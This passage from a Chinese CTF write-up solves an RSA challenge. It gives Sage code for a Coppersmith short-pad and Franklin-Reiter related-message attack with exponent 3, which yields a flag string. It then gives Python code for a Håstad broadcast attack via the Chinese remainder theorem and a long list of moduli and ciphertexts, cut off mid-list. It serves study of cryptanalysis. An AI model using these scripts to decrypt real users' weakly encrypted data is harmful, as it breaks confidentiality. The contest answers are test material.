写在后面的话:这个n分解出来之后我发现,所有的n值存在一个公约数,也就是说,这个题目其实很简单的。只要想到这个,直接使用Python的gcd就可以分解出来一个n,然后就做出来了,但是当时我想多了。。。我以为是考察数据的并行运算。。。。
Code300(300)
有两轮加密
第一轮:
注意到这一组加密数据中有两个n是相同的,而且加密内容相关,并且大部分相同
可进行 Coppersmith’s Short Pad attack和 Franklin-Reiter related messages attack
参考http://mslc.ctf.su/wp/confidence-ctf-2015-rsa1-crypto-400/
完整代码:
from sage.all import *
e=3
n1=25357901189172733149625332391537064578265003249917817682864120663898336510922113258397441378239342349767317285221295832462413300376704507936359046120943334215078540903962128719706077067557948218308700143138420408053500628616299338204718213283481833513373696170774425619886049408103217179262264003765695390547355624867951379789924247597370496546249898924648274419164899831191925127182066301237673243423539604219274397539786859420866329885285232179983055763704201023213087119895321260046617760702320473069743688778438854899409292527695993045482549594428191729963645157765855337481923730481041849389812984896044723939553
C1=21166198637119799018016204295250536166915856638919405261840915314988042873432620518577615132448448723327689478678755172462556682889571075891041516220834941489006219250712233683372349063466237177709867416916476985170093387554152232327527581466143780222560210446663108294424857649820851271308341178467886091578116410156922264637037227745852409331989620504
C2=21166198637119799018016204295250536166915856638919405261840915314988042873432620518577615132448448723327689478678792176422644662336966050363940635331361205793418179945076116432708809590928145030795258923206911694439533855629978563382617578406639244014003848531540613075972495030572800107200489470498647236710018970753334604604728734347799544201644707336
PRxy.<x,y> = PolynomialRing(Zmod(n1))
PRx.<xn> = PolynomialRing(Zmod(n1))
PRZZ.<xz,yz> = PolynomialRing(Zmod(n1))
g1 = x**e - C1
g2 = (x + y)**e - C2
q1 = g1.change_ring(PRZZ)
q2 = g2.change_ring(PRZZ)
h = q2.resultant(q1)
# need to switch to univariate polynomial ring
# because .small_roots is implemented only for univariate
h = h.univariate_polynomial() # x is hopefully eliminated
h = h.change_ring(PRx).subs(y=xn)
h = h.monic()
roots = h.small_roots(X=2**40, beta=0.3)
assert roots, "Failed1"
diff = roots[0]
if diff > 2**32:
diff = -diff
C1, C2 = C2, C1
print "Difference:", diff
#x = PRx.gen() # otherwise write xn
#x=1002
x=xn
g1 = x**e - C1
g2 = (x + diff)**e - C2
# gcd
while g2:
g1, g2 = g2, g1 % g2
g = g1.monic()
assert g.degree() == 1, "Failed 2"
# g = xn - msg
msg = -g[0]
# convert to str
h = hex(int(msg))[2:].rstrip("L")
h = "0" * (len(h) % 2) + h
print `h.decode("hex")`
得到F4An8LIn_rElT3r_rELa53d_Me33Age_aTtaCk_e_I2_s7aP6
减去userid为
F4An8LIn_rElT3r_rELa53d_Me33Age_aTtaCk_e_I2_s7aLL
进入第二轮:
明显的小指数广播攻击,参考
http://codezen.fr/2014/01/16/hackyou-2014-crypto-400-cryptonet/
完整代码:
from struct import pack,unpack
import zlib
import gmpy
def my_parse_number(number):
string = "%x" % number
#if len(string) != 64:
# return ""
erg = []
while string != '':
erg = erg + [chr(int(string[:2], 16))]
string = string[2:]
return ''.join(erg)
def extended_gcd(a, b):
x,y = 0, 1
lastx, lasty = 1, 0
while b:
a, (q, b) = b, divmod(a,b)
x, lastx = lastx-q*x, x
y, lasty = lasty-q*y, y
return (lastx, lasty, a)
def chinese_remainder_theorem(items):
N = 1
for a, n in items:
N *= n
result = 0
for a, n in items:
m = N/n
r, s, d = extended_gcd(n, m)
if d != 1:
N=N/n
continue
#raise "Input not pairwise co-prime"
result += a*s*m
return result % N, N
sessions=[
[21778816622407043254249033744556437773178718344170907687035355752306254181495272254316323076827432323583279284697609943296234700945010885010381052459024155936090811012664924674758219163065019349740707282354505096608107707774970709715259835448587834080152409078047162951805940071358655938727249679105305351838950073539149057650448964397736279148746703675407495243942505041731104580156762842345374978325029947055323567120523592936170640156611551704828034384851988154353272897487218723570180022092379408219114849763765186588476489924721044926152006318666687949095907516827647042434514271847608156543261745856327152256691,
0x36a66571751faf3bbf6ad760adbcd1be123d2ab526d2fbf6697ec38c7d4ee7d709d8ab3f154092410f46ae18ac75aa32ec9393a98385cd8d8df3b5a15eeccb2637b353f6808fd39e11faf2b742eb0597f8e7a977196171b031c076140cb05c771d8df2f81d8b904e8bf579da0e568fa67d0a94a7607a002c456824e7ea71df895f1967b12ac36eade287589fd556c71520d2dfdb1a8663dcae615cc40be1ff82ae42ae617db75bb1dd88235fd698b53921a42fa6390854eb1393d24341582ce83bd690ea12d2697bc929a77b51adb04131baee52050340be9a2be6eaf795b6877bcc22d5d8cce3829485340b641585ba3ad169850e780562467fbfb09f4f5235],
[16903196746534976770297193591563118819340996326353278926932894774572875445074235633598238073286562040907331827987129504332575088363961056320711957070361568300931751447818086187098450831958791194454471761207974960285694400991565796076896861484262801877894234189007108688232929103575715501208714450050820596757093532908538335247758665436735062990069823263343612343383280128868367115993204155509197451034689222789081909649433189803691801997724286399861059723879464142218791577045451380036235131262854852861711356480129365121825413631051962999057782796860262353799309363207995917585708071851074274505668412220771866627801,
0x51bd5b18e527dc109cd202f39841bb39422dcc1f566f59da4c623d7166730dded90963c825ba6300c0dab181f69f12ba40955e68e6040f794ee642aa26acf437ce382a0ebdae8d3c77398a01f55eb2593d243e991427197f6166b117e8bdfa3164d99e5713f18d64947c36afba69d0c9208e79815af20cb4dd201bfcacd485e8cc98cbeee1b75d6d2b1ad81276647b6f7b2137cd9ff9e2594b9ec8952fc2d184ba69e8a17fa5dc865b6e96552d81750e85ef427ad184b2efc5534fb6f70f8d096b3029dd71349b571fa1997fd14002625cbea894811c7bf8f582dba0ec9d03edbf25517179bb7f20288cc2e2ab0b038185ac525e891c15c151d47a14886f947],
[28265280613183354342105753166996328090546389493099576671064332905506043149645894359529530572985221453256974871551423452437262179254048995385871426911106523040024082014701860288597240859367709958593683404815121262284405370456892785825244621855179713916387058136808290106777122592782679759913015048141455589449020109912456204732596642195119782747444413318147656712489309539304507463058220125712352312270109971524224764775787216566974066782153169186108327462634247269028163635556628016922590640886497451631819173964909716933392801888324681183442906718285722236884230908714776131247765432042336528688391266197013577846933,
0x8df94ca10d136659aab94677d5826184addcef8cc563009822519b157c368d17434b9b6fa08ad783003d0aafc6370938e6c795d93968cf094260ef05f1f65b03be9aef4d0e8b4e5ef8bf9182e382b08a38c04bb448097eb1ee93bd9ddd6abe39f2f356ffae8470f7d63edea2c87b7b7766c57e24086f59825f5f50d5ed7443adfb26dd3bbdf662cbf082a9415b73a8c81581272a4b8f75f656ec03370e53fc88382e842a75f329c510aa09c647afde2fcee7a5924806a4f7b57cb0ed769c4db41f35e48c5812fd75315697e936fdeacd366c851e06b30050cd93205c4fb233233990fc2b5a0c9cd2aee58209fc04c6e782f2639d51fb43d7952b2f8afc1a4403],
[24987127899477465012251233743493253536476854495637178599192050225313102219411387898487200182441114487612034816488014846231399460666971909474486058085384163710434277132512228943824562960928753528438748273225337688628804876346934893738809200953670621279519453757412491449591854561780627642156687194962761756188282130022320565958645871385780190162615031780472674474233554299969022151520347624742464620679084328782555875295855846135397397113343536139827427341184253483944102522989539698394227074217940278304502858391155867844668912171244350562320306827896547118036618397962042775133094735525961981341552292221448084885029,
0xbe73713e7928b1970d6dd531e0c9a6a3884bef82c3a39a043f226e88cfe54a3dc28c515893463e1039a14e49c8d27154544f9f3f8ff4d750b56ad41ef3c5b1710e889a4d8845722c6588f51f2bf601a0b816489b6afa23e909d4201b570788e0cae3ab521ae2ae507a02a5af46036c496459bc86f34a141fad1802d578c645164b5c0fb91978b07efdb8b9036028d4ea21b4719eae9caf6247daa9c9639f7b79521c7feaf1e9b22852f32f91f93631e03eb7c091d3ae27858faea04481a1404c543b13c9ffef06326d7d6f67db7f05f91611a3d185fb6fc1e1fb07b01c83e46c84495a252ba4eb0aa3a148ca4b6dc61492eb71e3b5bf7473595ed69841ce0b94],
[20690588543759338459201261102131523557602951858621022352768878495764772818047444561085946463647026323512505467898486038702296544581574454427913943957312980485120682984328258470676756700031559606051601837978676090075103759061046354026481363302764050167452089628379324207470363334371464572866980379277784494909108912432265324937412023179282154446352432584206636315270087668925211674657165676558801771127073793675007651877248218291179047124458484980007843300303269623821337776079296736563393494962515203685309350731743104371337237221338067550042391180955737666453436685882807146647050068939961249283782794859263934790927,
0x321516de98f8d6584adb01d5783d13cee2daf74f2285c693debe3a264c0b9a637b42c17a61a3870c70acdfdcbb3ebe49fb57c40079d4f82fe4051b5374545562baa12d894baa66016c4d025ace559bd7b5d658d70e0e7db5a24a212a48a5e9ba44dc091c4846f60509fe00b780db6101b73cfc2492be2e75bf9e82b727ab6b459df8280e83e59119795a82acd53e982fa3ad82ab80a4213728c41808d53cc75e2a19801943ff1af19e85aaffb1b29a41c0af54ca44335d611713e5ec6ff38675de8704fa2ddaad90b50cf4553174a9ae7fd61e72c5cc8a77df159a21d67539e92ff702ddef11c91eb39c247355426f22f87de33f8d65e5589553405f50a78c84],
[16517102081052861630895919001217675526698277369300591711866049102573903641338088651465353677681314133196137354591046807286864279671925133798556675780456365747859903691818373002538419664235941077881320873723974912890141942864109366960284815031822877720076646042209075936969869701929261677727681050077163026469462157471618274966461347360748386423007148375581277546370022280825631242730771828201301160075215196139318450096889249372085484891067811333463883782678293168327177450855394281994969889305548254268708625415414795510941577246484314728636995608221724256782771789486658328851046459586540232884627529177340560416993,
0x52cc422ae1012a854e0d29b9b1da6e68ef3a3fa6b8d7551c1c664875e277149411244279eddcf9656fe182c4bfadb33d2d917e7faa580c517d7960e9934813185331e9c9fa3698fa9de3f8aad5786249fc0505db05f01c43dc0dac422c51114aabc5d0451a921e36e47d9c4654574076dc04d2778ff9bcaa7ed3be2432bb515c4721013d98a569b794cf027ab9e356dde48fd06287f78982fac010e5abee0aa71388f270f70c53f0f1ac091fdbbe380c1e67e1079a2a6ea7ae6f2173fd1c39994e4436ad058996b0eed5cbc2ef10e4e6c814fad9b62056d7701976ce88fff49e864ca23b6ff762168436f7aaf0ce379515fd0d4d97367c0cf8ce7242fe6809cb],
[23846860290279092907572444079539617462214354239782236629759070773513973525414800313619141664302186747496495971163746242055682769265827639472645512416038516482082192479180022255538780293810541273933187169499865844979861261417193700451844441299094590593715164464011149534562230605044072398232865628048059788633187389023568417475139388654021193716658660041159730755563837795152394878078579534655463322616283839623641180779934135529522581271802799149690558550140547741565135720412155964520008772101738405928224251101453422360053273769367642925204442743550811319417756071808630071840203875705299338612909277917097442575231,
0x7a4c0c06b31aa9be92dfcc10af0b4d99429bd0d2465d43c56e7488136db91347f7e40213e82b5bbcafee449614d9c26237dcf6ae1118f345d5f76a7b7fd665146103c4ba9cf63444363631b2e847a9ecd6126931299c30a31582d0fe918e71251d80bb7b3a3c27833379d12ca45fb339b169340335af84131a8848c7ac56533964823ebc1cc78dc69f136e735a46b9af5123b31171ff27e71f7f11e25878451619c199b04a93414effb74e90effd91a24735a77d3364020ae38883addac5c7f71e6a0e57d82d47c255c172f084a707ea565daa9d121693ae94391fa4c0fa0e3ad877b03014469bda192aebe3e4cf8fcc8469636ed8a74659cb4db0e8e5eecd9a],
[17566701282456258503708647404558041579376753416636895921624574676679101724033623273314113990594123807428022978359642275344892917569831939503189948668240865309669039814491983430907110218013111893576410298548024847128844676202137898746346628853860982276196072572409817530124631239728733042716676159813363682748753083182297029995941313117294252250686136554964244869449490234400819447482806975167157303480233831491591302798414444021786972185652092240434726936513164112181591526851025405006672553646267337903731497655811302924232073336996144108764372355652364792853587376409404275388013071072585640297921892859159400948323,
0x3fc5f6519c720d08da16c2df2112ba76d718329a8a8cdcace3bc2b07d603cad7e492ce13ce537bddef922ee8fabf8261a27dbc0ca94752a2fe8016b99088a4cf794126da4673e7cea14428a7f3bb2a50f489d0a507b3fb3c6541f4d25941558180e28db6938fd6e92856ba10e56d2100f0d12fe6dd64e8d75ff5ad91f446b0481412ab10d08df34cdb7213df180cfa342e38af893750c9df36987f630083985588b7758cb3b83559485f208ac5b8c2df81379b69565adae0ce38ffbe568715cca87381d72508bc278e374acfb0b9db4726630dfdb6771ac3de26c0ec48ce72cec92af4d610f312474d979d7a445cd0aa16d9bfb8c8434449aacf9ea3acd23653],
[16253121383768278209005558577055644569117707124854929186667128310606493315013449858902615940095488323028876191616816961215480161502334848550714559842262203333048521009972976254796089176241431933391814530903987798419098078087110325298127023185881308297696190844006356371502958261262318737874080358501446648868436314810687974775378172524379297271535579000788274835896943322448320754626535308836129262616406664292901764961851722791991015882750059327988224491748375219523130042075320130650865135318796823056748272833680628813950407501372466385030092017640922132792751107909729923267741621440199097930132480628796900772029,
0x6db31ce529ff59c5e2a06cee7c7ff63b26b5297a359c87edd61d144285a99cb22a311a75dbe8d5a1a7fdcc8eef52a4a1126ef2e09a38b1f5e17ee0c0c1d802e4ff2179ad66336613ca539d1ea76144e832b8faf7f9f09d0b061a8c70e13173037ef1255941deae9942a8bee684c46df73fde2ba15bd925255f61ce3f4748060388b572e914f2e8a7068f026550fb06f283dee852a44ce9d80e572a9a9c84a26d9f35308907ad995bd4bb29893e23b725611c39676cdd9bd953ec2b988d2344d95c96a5cf3f9daf9449ee3e57abad421038d33a14ab9eaa91421cce008c2b7a49085e555fde59a07e4c0bb3da1a487bef263608cf9001c2cb3a0f128f8ffdc4b5],
[20290309021976181378150079070647362877361051642116884020698310582404348426365349349830932277074553597811144356035164416874783743981763606447828375623172664133086570212409720630779251662198484608733581283249766121177416927096509366175689816558284636310339765253094030229680886254669960511903436585522016222678724597374152265027493130428700298457508264585197242398693292101535859643883683283228422929797265173483141156963526966092200813029155535719102888182314267564367377779201639949508213735381237773042753101422482552209042450075752883511314469026255991162957376905635040303277884398802599054812153590799774042488237,
0x47fc4dec774af58a10a86f32aca278b7333e2a203f32d1c3829f77ee1ca4bb26967d46f2501ebf00f1b7d183245ae9230c27a1b44e77b943e6b666c1eb93d77c400accd3be53637cfcdf42617ec7e49ad7466e779ff1deeb26d055a40d4028845e07225acd900a158e3264301f3f474db2d185f18c7178eb6bb22af198527bf714ca70e4b1b8786595e59db4a1e7666d4f11aab6d8b8cdf92d25fe1371853bc191223dfa1e3a1eb0ddc139b23bdaa34b7b628c420752911689bd2360355e0991e7824ec91fa5a16a04bcdb20b21859c2101187c5901fd83c33842d66accae05e9f8d52390245d154c6f6fd70cc9df06a7cb6beb8e97158dd008b289cc298b5be],
[20259407522505114352438066790031189161692762499783918150615320203040060613651670031363001854418241949806197697617226051714447759568062273100011096875597755138510617995005919992091359670438072021331669362289193281360914280630669617706120960853381676622726602146361520387706665131232782238093270978205858281738902665202342179262150897459523695977783336806799817685658837013961068870176413359582541169367864085705134004595535049333058874635763188301138178673153768451934569823185195476045661392099691197429028316750422385531970917919762595412998928711638811089289412827922269444823536467731873971772055257114762319315393,
0x3879320d2b72a7d476f911a621a2cde56cb4f11bf6f2092a1d0e37732e39587ea5c8cc8012b865315823bb095513e0aaebf00a1d0bc64ffec621ba88574893741d16a051962eb48e6ce7a7bcd1c200b93d43de4b913fa04a33aa6ecf1cbe8b6224f86acb6fc30e3c9809265e94e89f5d9e86149263ab1e094e47a3b5a11402daad15f1af9f4af6ac6fb5042e46c16b5cd0339c07311bfbc12f5c55d56575d340fe3409fc0cdc53c70ef188de0fa5361f964e3dda4cfa93e4c1dcc2899b54405ab1a86377cbd52c804c8abe1801fb58e07cb4c12ccc7dae2d5fdcd99e7e0b41455a211b418d7d23eec52ab5964a9cf8e4dd644db1643b23162a84acd394315f26],
[24318293739308347213079240931318897629475758007636953845697423973047760974896821730716872997882728166077874860101084256173936300391518418843018259609362471240020891953344922995571854332425076721361761155823416339736617753479873947815911700571886068424319666101274062537135986686198448291523526831919231309046418709526942081443652930546060758807699063472901121389294694164314428552216115807784803759664471770162896322173399815832732844819985897349926942832673618305532813094961669876922754219436080392413448963260311884490822861732752909321638280022645654810271403290958260903318384943003470764808099607444730775850977,
0x3744c133e79ad8c24d42c184ef789b2e8f98a436413a1759a3d3877a7be779d20237ca9f8795da75101b58f67a5cfe3862c09381b90541f9744b48d0c181d77238e30c5ff3c17b7d61cad61375028a9f5df2ba8ba4b03149932aee7e44a225c0861e6544a1fdf6c9c76f6a3e82d585f82ea9f5db917742d057a6f1cd05173e125f98d10e938cb4a81d963adfd557a4341e361f0ad258cf0898a2f129e84ecb010006f72c56e23d49af995a0c3627c37cd94b4f605834a31297e810ab5edeca323a7ab1a557376cc363918b8fab2391afc2d6fc835d68530aea668e3fa5fad2a820289b2c69fca87b9864b7055aaede029738665807a1234c3438b6df933b5011],
[16767369591676471537411283105560692097106856689402131801972215792616408134559976771743130058361434086714770802148737506939664570683450741935689264391158401406372136118114570763009411773231927726730263665758441518136374811604790203589734839203990618958929058849509041656812300142186514602133644716549714328026432640542797308159792476463973843503510250484074033909180332466382455960693392142248674005373879029496304626751064305166382888538959190215229722452450797037929073904543004398559319989715734497042785049819377997233813308055108035958732985392827704742206908811830255998822273272225412690773092101546168169226819,
0x80e66bec156f4f23de053a26b431b5c9403b866b9e3db1bff70294fa02b9e2b190784b2c00a80b8ca68ada1a346901b23a18e64e2e72af65e692b682c63104e18705ed660c5bb8a7dc92210dd6b39c9da4ff6dbead8275cda95137e35b827257077089a3b3943cb25475db403246547328d026bf1ae84c0945d4eac09a5b19f3d876fc8a7634db369366d9890794a8420b7f68993176d4ed5b8898b9162220fba24400437af66f5272ae76903af9f20c6e73d64d6d90fb93423a8732883e3f1a73c49865026a5179ced111c830a960444a1000c6e3aaf2d73093979507ac2f8bd44dd3977d27f9092934d43daa7f2054cef40858fcdc4caf9d60b2a930dc9882],
[21648683502998984705866045484544947641100049872713930000863461784192971714383405382729380364813442059921949950269832215961206992010283135651557788608887439348339240389301966222474702327024746998115526572416766189380119518840255063173477318112489526882961355833769916730074219503525366167101177618366403515625636383142156974729031570176443105921652237316791996836488270564442297923460061659842496051191955963907318267799798504658035464886798097464290990706264173092815972652707781598809590103021822291959985975312561624827085690133099378114061849520500494476184201456743692991277561917289123442703987077003912051254473,
0x32519d4dcbe20762cd311f137403d55f2991779a869854303a92937f1c0ac2b3c8de9462335fbdfcfc80a2d49952036fcc3892599846b17f6becf6623db795c9f1ad6ed43f65de285bb12050f3f81eaa31c7b34e3b748d87d4b4d9789844d1c739c7c5cc1493b23e32953e64bf2fbf2ca403827bc8e23b428f306c0e5072d89bb601e66706af21acb54da8bb5a535ce755028b1a59be3682bdd9b8cff60a36ab486361faf68cde5acf1fe590d2fe8fcd130d0de485f172854a02e53b4d80bb223ee41d1bed624fe7ac2579f329a48de2486de9d19a0232878ce2bfd7b203c4234ab7fd28bd5086c1aec9cfa27653b1742ad2bdcdb82df242ef6c3e5330e4955d],
[20724767138767480789498994298180270826474867340264049260163785892907430402804218092022338747569186731211486624552452459080681333244461257729270209985208605897018675854065012585533850704650069878363901187359565209404784010532316397910749437579359276642165787498762432075769088961395447855627224959523061844885375539902930820684607575955490491526386161219430904177417445996609987094669288549224732682905930495022194205987692082118583747810531893061045357968782689580940621512543149340026440955519419499409282989934863220231218154774655263793622174595342915351690552470553775562387235255548900912535073932090872225703057,
0x4e4196a7b0c663ed59ad6674fd59f2a26f9e48e10fcc360d78cb35b5dd641402b32a39e828925b0155eb9f814e88bb5ff36cc0def7dd35d3aed96234507b007f0a0c14d477d2f09dee9f67c587877202d8815c424a14f54b5a19f48f1e939ad16b67fa481d9601734ae7e52bba9c5f54f703992d4a94b3bc3f3c7e25a35dcb51ba8b7fc45dea644262be00037724a09c46d0bac70c43555e37332c35a199707c0cdb8bc1da5a97085d073400e1797c36c726d894819154a6fb6f690c1aecc713b90aa5fe551fa56641d967d162332d10ecd267adf4cd5e90d2df6e0aa52ca1dc59f868719b76e309c59877b193018b8ce9ab50248c4a0c5dad1a30f5614a5804],
[17212295439640377055688217979984966188585299016873359234729084493184304625628968472723004154564887269917061351983063776908774119426411714704687892967543301227423731385323880537283235940428456928620552423667793662090989179432831677965493935878867379869711402693579656408872825837818475666783698699885664597654744848985400925132991151305007305023587591892065687701737374884121128600523652409581330661535968924899805804262941682210140900815439466983734237563778235377066739355624114219934834825916708748496082834506423403378555482105722324867025910662705141921743047391704562848651183325027149054432694683572014622359313,
0x299118bc357f5e546d46209bb096684e336ee29225c2a214537d3a0e0368537e0dfd6780c2890ef87766679e567e388205e34f9cb548afdae574ccae43367e406affc253912972d0f0af7911b0ea9918d80aee4c17e9c21110805fe1bda963cd50c8d58c6a55597195c435b2d923dae945b88baa962bf7ad05fceee1604c29ee27e85d43a5dd0725fbdd721129fda99ff175e9e6e727cfd5e33827f0d0287b950d3866d7b70f31788127499096b5c1067daff65de5c5a0a8f4ab07c75650e222cefe605159f37f57217f5d38521bdee12a1513f75c68963597444ebf33af268e91c5317329fc51f29806c2ad8bdcf1eb46d012258119f4dc23ef8e20c2f10e1a],
[23472084745304537438905071529263024519722889277035896476683227577770819544818596032060798859721968043031781686415577272011705809230515019335765899132906313745385382557516479043323335745414952409295722882945395961430938606533533929117934551622303375595866433725626122966500728243718957556236260244044649471741774062107054178507503595912884900120045195140751307319039397273925472618110765991503036390880137235899571639920592610193895790603572008709664626744807262201364463031075469046249809975209872344454149481525610270451281388871236274366093215907300750793051152749369584542316120901131748833946863340674324510840113,
0xac28242337642cabf950162a965ab69d9f2e2858e732cb0c97bfeecbc965670dacda76edb6e591e07bab71eef52d1ee4e857c8f30682451d5c3b325b185f3a3b5e4d1eb539d94e134a5792c646f60552a87970549c01514b9e2af63e2dadedfa9f732f3d71ed6301ce54a35e01e5d90bb0cc106b8c2833eeacbbab60ab362a87e7e8435ebef01b7f6aa509c09ac44d7ff8da06b3a04103db2f8928ed04ab838291db8badd859c9b65774dded6269a56fd3eb10cc7d1cb6bd737bfcf65e533245657a2c69710318f83b4543713c3c418436342823afd996b10c8d77c2e2a118d4fb1ecbd1b1f16d675292669d8bccaf86f6c1af02e5f7f9ee5c7aeb81c8a111fe],
[16966451712809405570019731700441708658117157522172037602215253538847704156034447243308997644993188593978969328060823028085625093394067251034019534730107585935365736610970376571337190453031629257247350588200661044866750469751891255339636079377813918834503866490352194434851419800977023620974886628642857558663003924383379088864349155389799474130189328454296627295593123465297469526418130015195915305128989852466829730138443688054686459477827471793857648148054429381404542122378207762553439877527124241535549595614223333073179859071395110332611349804722107130361840138060206231273618825678177660378229205324373334941671,
0x19d171bf0005dc1f4d11f80d598687610cc6c062a1d2ace2b2e835f528117df7ccc873553bc413b603c1605335bf5d2cf656e804d39e6ede8c8b4a43014db17aa31aafa9998028a2e87b32d3ec35fd16836c133d80f88a8af86fc7d6fa01540ddfb78615a11f143293d4df73307041d8bd28f186bdc099685ed324abac7980680d86261259a666c64c4c5a0dabdaf01e3700dc4e70a74d3869572ce03a9c4dec97edfb04771907bda0683fe189c3d0e2002352a6c5f85bf7455e5717c7cc9ae13217a0ea04c933837a48e3b356151bdae1004b9828d68e03736cf8fad63d74e8778519b5c3f13ef5fc31ab85c11ab4fc8396def7bc6f690675c30fbcbeb86f93],
[16371772865482869886487545751875918720227349410350898523261337902433007760724960134070658859447185756919127716802819962207343430388160650608047149901674641208010454873466609600454044683586479844130564525332317252829669954436437422430190710090213393780435449488077843816300027728531084047622538708365772411064244675667055162907660820768433907282749095458015341570802297559287990440496065051486970127291015435906143328670495764979798317390225405587270445353337087497780300666784521757559677764504161208852136474658460018703444718680426309315497887622354795698567555861658547811403340467546724028577910903558187895025517,
0x3d81bd9c0aa88eb6bafec40e4198f2c55d56575914d1a7aa81dfb0256b9429f7bcf5a3c7ec01a098a0af98e016b022bec1d035b9f9630938294d3d092328c35f7572c6a8d1c9851ca766c85e4ab676330e7ec1f9f4baa90ca6e5ea3ec024d6af4fcc5f51872037afeceffad441e445155ab8082ff5e0b0291c79ca7ede868a52facfc555ba22b2c75bb2571f3c7916655b9f295a4d87a1cfb554677d646ff813dc59f009345e0a94cbd2075094386c9f10b6aefa28cd3194d3426e10718fea4e3bcb5d1acf6cbe4e586d6bd7332d38f4c53499d80f026166422e15d4ed8e265842423252613b547f8e574c7194c12dd91ef51d31a6671d62ecf8a558d47b1eb6],
[18739467511848988131315883128122206736146672097070557004405077164871943414492542793367542772456096079622940115684730643882776615896515435624865889149736726304993972099711596725868044429964505450412443901512587718466587820372856736565262541517131220786373375774076290256061254661574959523249922650103736767653244522761962914935575618046253094214681141427180945699326806416209977311843049385163987916124881945471029756498039400006754155122103796794625674692744195141047534340245381998599639342203042620610562621504363598354386979425884092857465615040878510573038208953817381038343917618507732344741511873852562526386559,
0x49ffc1accb080b62290fb874f49e7f335d7b8528439118ee0af2644375368e9039da303a9d9147130a231478a26fd19b26ed27fbaefb11f45950d90a6d4e2b47f35c2fd4a723cabe28c3783f6bbcbca563346914b962692c99b8631cbcc9a5d3f919ac572e9e620524b1041a97abb0b0aace32608f9640df04734e753fe9b512f612b6e1f3919dbbe4b85fba1e2d49323b83afae577c2a12b3cadb979df7d2d26c2fee31897654528f53b8a33cb18c23d67edf1540f0b86c9628bf4412bc4c51cc9fed74547e6fff491d5933ca162cf51b040f1e5cbca8e7b107eb86954cedc0981ade1824249a018908682e731ebbaaf91a8e57fe96c99bd207f96fbdbcc827],
[24144341786129954104766079581733537330837102620507111869913290242909722665909732313693428501073644480388840032874928561102010577421641440630875810610561194025475852397890128254251033410935030136931440682117891617143329677926862476615293629003934739648788231326944914357662125163281241165968692544703336639661017133788173441091047645030713078121901474517242196220495605264434833134024329711042776081925978969773964654993763988354885230878890003264935622882822509742717974763221877362961745927680965748429304078786377256344394424563202564595728201265334810076014722298402290831187834158701977930586972158865356896878873,
0x67962b2d35ad0157a54fc22d839fd73b09e51533132ab398f3d1d875d8e1939788c72b715eaf91888f0d34fd5047ec0d1d174516bdde965364f9b8a524f3abdf1ea712fbb0704baedb62cb9e9280073f4089477fedeb91562315bfce12c7161547c1f43d6ef3e150ef7bdcfb73be79dfb31e2488330a6218d75b54da169b9720f810d4cd3e8f3980a00bfd2a9154346626d877f3b4642bf0fe35d062eaa604d06acd3f49b1c1f6d5e2854f0477c1ca7c3b35cc4c043b5371df7b3f13499da5c9fdc35e954decda0ac88f6fc25bd3008af328c58c735197a072c0c66b0993320f62f26622426cafce4ecea8f89c65768b5145be3ee0c3698b14131a22a4d21338],
[16247040679920031441664101450549224846915267128012038160169809988022529023260360238909951721143041506098750506786632479804873106717283201900098824130270193142897664876028831477060651707441899218915076467211315093002467718126490397764923781336660386278054000174333959286629952650900709358893976405952107976000248004574231569517524507462786518216405968877173286766785131219930156964443010273798741079176893106230378140885773941215693338280227658997239881139017743508178569400885510195501403324289981396077715264056372600615755225462706462512671715787636455440243582040421840201486300867068118821338810860117202506391973,
0x144585e5cd2b72208d7462bc84f4de80f3ce6d97071cb0476143c12f6ebe44e48f324b4461fe7ad24361bfb6d3385396c4886326b70a3f57ac69b8149fc70f75409bf98cc6f367db615f0ab51d61089b32f7047f17ce14d020640abe00c63d60b3357b47cbda97ae6f9890ab6d6bd06556da32d4a979ea20fdb8f9de7789c276958b56d66d0f0ccdf2d9783a26192bf2e61aa680a1bdd8149081628920fc481dd83b67c0891eedda5d5d48f5e547bcd9826b2649e15fbe40bdccb69b5bd745d93f4c577652ff7e33aa20e6b0af54f1cfd39184ffb1b2cc976c73b71156375669c6136738b49b84ea52452cb9f69d0c77900ef1ed9794295edb7dde6a8554ee8c],
[18551012655167926464387770233050992041279846989528863834161102801461525909041686843284937371832688980356271778071203519636639066373197007130811728890790984815578763892813131319090045053393183033738145698478609343317261312831760454700959756547277631900724095039747673433562196539586274971886808485264355019830197753253490072205982314028030552566563457089010319394999259879331693348838824426385184308020734644413336706840348430393355769529711286087755105943529953231252927515095975878110907343949357033111430713845084941976511518245681531713980631560482036988551039137934572569534019455625143056327345204129235038932281,
0x6ad6572818211ca2d1448d6cac860de2cb02e03c65f0351552801b722e4e423f5217773ec31571729cb2028364bd3de306a40ca77c4d69beac43132cc226c12ef76b7b0495149bd4873f54016b04f518f7affcd23fc3fad29ebb3db069199313ac3282be96095d780e14815008e112b363df534fa4ed78f63bfffb30b73052de844c0486c4f18ec6726cbc77eb71293409bc73a1f4320ff4d2ec4cf6eba8c0543ba9c56c1af02b4adf2dab1f1138f64fa2b8d4766a97a6de4f79e964aa8e6c0a524c1b4ce25fd0dcbe65883199d2a0460d6476e3ac08a5626b769f6160b67a5b67196ecfd7c973b858864c20472be72e377bb2ef564166a5a87e02c495b621ba],
[22970054162939118362445461906385901439221833049069290764726458403981881590911408985071089915137383136981861486559612240193323004875531479506532933874191827230244142365699779672563892554369800432687990439547057984097138200118421515362503979452326218214213321824595316092046539247639346347874744608465484205324020992798905568751701806473018818314668698663841670163178796042710128542711081575701259392887969466760429477196625304678039933447047554550092450130934454516569529246444043217414963440855561480781027930049264349001859267759734412856962206268528357858432389642710120143436757447094624387962152016825294720909759,
0xa9e70e690c9c8e694935251b7f4c07012190aafbbbdbe81456258abf4d490fa2d42bdf56f7012fa3b1714cd19be108f9e56883b15ac56469d9bb114c4b859d5997aa1ca72c5ad0fceda30ebcd3adfe0429032ebee67900b9cd254b62b079bbe1f447cd2ce112cae53e14fe95e21749c1773e464c369efd8c574d2dd34a232efbee022a9eb52ec5c46ee54ed0f0fc8e71fb35c13d299a86ec8247209f5c3fccf6c0ccb189634ff7339eb50bfb5d4b962ae3e34a8d4570b7296338ad90087fe9ed4b45bfa3348638fb30cf2872a36382ebfac8f9c44fc8932497b68abaf86cd89617e052b88929c435fdf08aef8d54a4eba01f2d458bda554a30e5c52c1b8641d1],
